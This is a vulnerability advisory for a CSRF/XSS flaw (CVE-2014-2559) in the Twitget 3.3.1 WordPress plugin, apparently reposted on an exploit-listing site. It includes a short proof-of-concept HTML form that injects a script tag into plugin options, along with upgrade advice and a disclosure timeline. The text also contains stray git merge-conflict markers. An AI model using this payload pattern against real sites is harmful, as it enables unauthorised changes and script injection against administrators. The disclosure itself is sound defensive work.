Twitget 3.3.1 Cross Site Request Forgery / Cross Site Scripting

2014.04.13
Credit: Tom Adams
Risk: Medium
Local: No
Remote: Yes


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Details ================ Software: Twitget Version: 3.3.1 Homepage: http://wordpress.org/plugins/twitget/ Advisory ID: dxw-1970-435 CVE: CVE-2014-2559 CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N) Description ================ CSRF/XSS vulnerability in Twitget 3.3.1 Vulnerability ================ If a logged-in administrator visits a specially crafted page, options can be updated (CSRF) without their consent, and some of those options are output unescaped into the form (XSS). In this example the XSS occurs at line 755 in twitget.php. The nonce-checking should have occurred somewhere around line 661 in the same file. Proof of concept ================ <form action=\"http://localhost/wp-admin/options-general.php?page=twitget/twitget.php\" method=\"POST\"> <input type=\"text\" name=\"twitget_username\" value=\"john_smith\"> <input type=\"text\" name=\"twitget_consumer_key\" value=\"&quot;>&lt;script>alert(\'dxw\')&lt;/script>\"> <input type=\"submit\"> </form> Mitigations ================ Upgrade to version 3.3.3 or later. Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/ Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf. This vulnerability will be published if we do not receive a response to this report with 14 days. Timeline ================ 2013-07-30: Discovered 2014-03-18: Reported to plugins@wordpress.org 2014-04-09: Author reports fixed in version 3.3.3. <<<<<<< HEAD Discovered by dxw: ================ Tom Adams ======= Discovered by dxw: ================ Tom Adams >>>>>>> 65c687d5cb3c4aa66c28a30a4f2aaf33169dc464 Please visit security.dxw.com for more information.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top